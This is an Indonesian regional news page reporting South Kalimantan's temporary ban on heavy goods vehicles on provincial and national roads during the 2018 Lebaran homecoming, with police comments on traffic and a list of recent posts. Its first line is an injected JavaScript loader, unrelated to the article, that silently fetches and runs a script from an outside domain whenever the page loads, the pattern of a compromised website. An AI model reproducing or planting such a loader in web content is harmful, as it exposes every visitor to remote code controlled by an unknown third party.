(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Dishub Kalsel Larang Mobil Pengangkut Barang Melintas di Jl Provinsi


BANJARMASIN, Beberapa hari jelang lebaran, kondisi jalan raya di Kalsel mulai tampak padat oleh pemudik yang ingin pulang kampung. Kendaraan pribadi roda empat maupun roda dua terlihat bertolak dari arah Banjarmasin maupun menuju Banjarmasin, Minggu (10/6).

Terkait hal ini, Kepala Dinas Perhubungan Provinsi Kalimantan Selaran Rusdiansyah mengatakan telah menyebarkan edaran untuk para mobil pengangkut barang ataupun mobil box tidak boleh melintasi jalan negara atau provinsi untuk saat ini.  Karena akan menghambat arus mudik lebaran 2018 tahun ini.

Ada beberapa pengecualian untuk mobil pengangkut barang yang bisa melintas yaitu mobil pengangkut bahan pangan dan sandang ataupun bahan bakar. Yang tidak diperbolehkan itu ialah seperti tronton ataupun fuso dan juga pengangkut semen. “Sesuai arahan pimpinan pusat agar mobil pengangkut barang dilarang melintas sementara dijalan nasional untuk kelancaran mudik tahun ini,” ungkapnya.

Ditambahkannya lagi, isi dari edaran tersebut ialah pada Hari Senin (12/6) sampai dengan Rabu (14/6) para mobil pengangkut akan dilarang melewati jalan negara ke Hulu Sungai yang notabenya adalah tujuan arus mudik utama diKalsel. Lalu pada hari jumat (22/6) hingga kamis (24/6).

“Demi menjaga keselamatan serta kelancaran pemudik hal ini diterapkan dan mohon dipatuhi aturan tersebut sambil tanggal yang ditentukan,” katanya.

Sementara Humas Polda Kalsel AKBP Moch. Rifai mengatakan, arus lalulintas kini mulai dipadati pemudik. Hal ini sebagaimana hasil pemantauan dari setiap pos Operasi Ketupat Intan 2018. “Jalan lumayan padat oleh pengendara pribadi,” katanya.

Ditambahkannya lagi, bahwa kalau ada terjadi kemacetan padasuatu wilayah saat ini itu dikarenakan oleh adanya ziarah ke makam, pasar wadai tiap daerah yang berada di bahu jalan, serta arus yang memasuki pasar tradisional.  “Kemacetan di setiap wilayah, disebabkan  adanya ziarah serta pasar yang masih beraktivitas sehingga arus lalu lintas terganggu, namun masih dibisa digolongan aman,” ucapnya.(ammar)

Reporter:Cell
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

2 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

5 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

5 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

7 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

9 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

10 jam ago

This website uses cookies.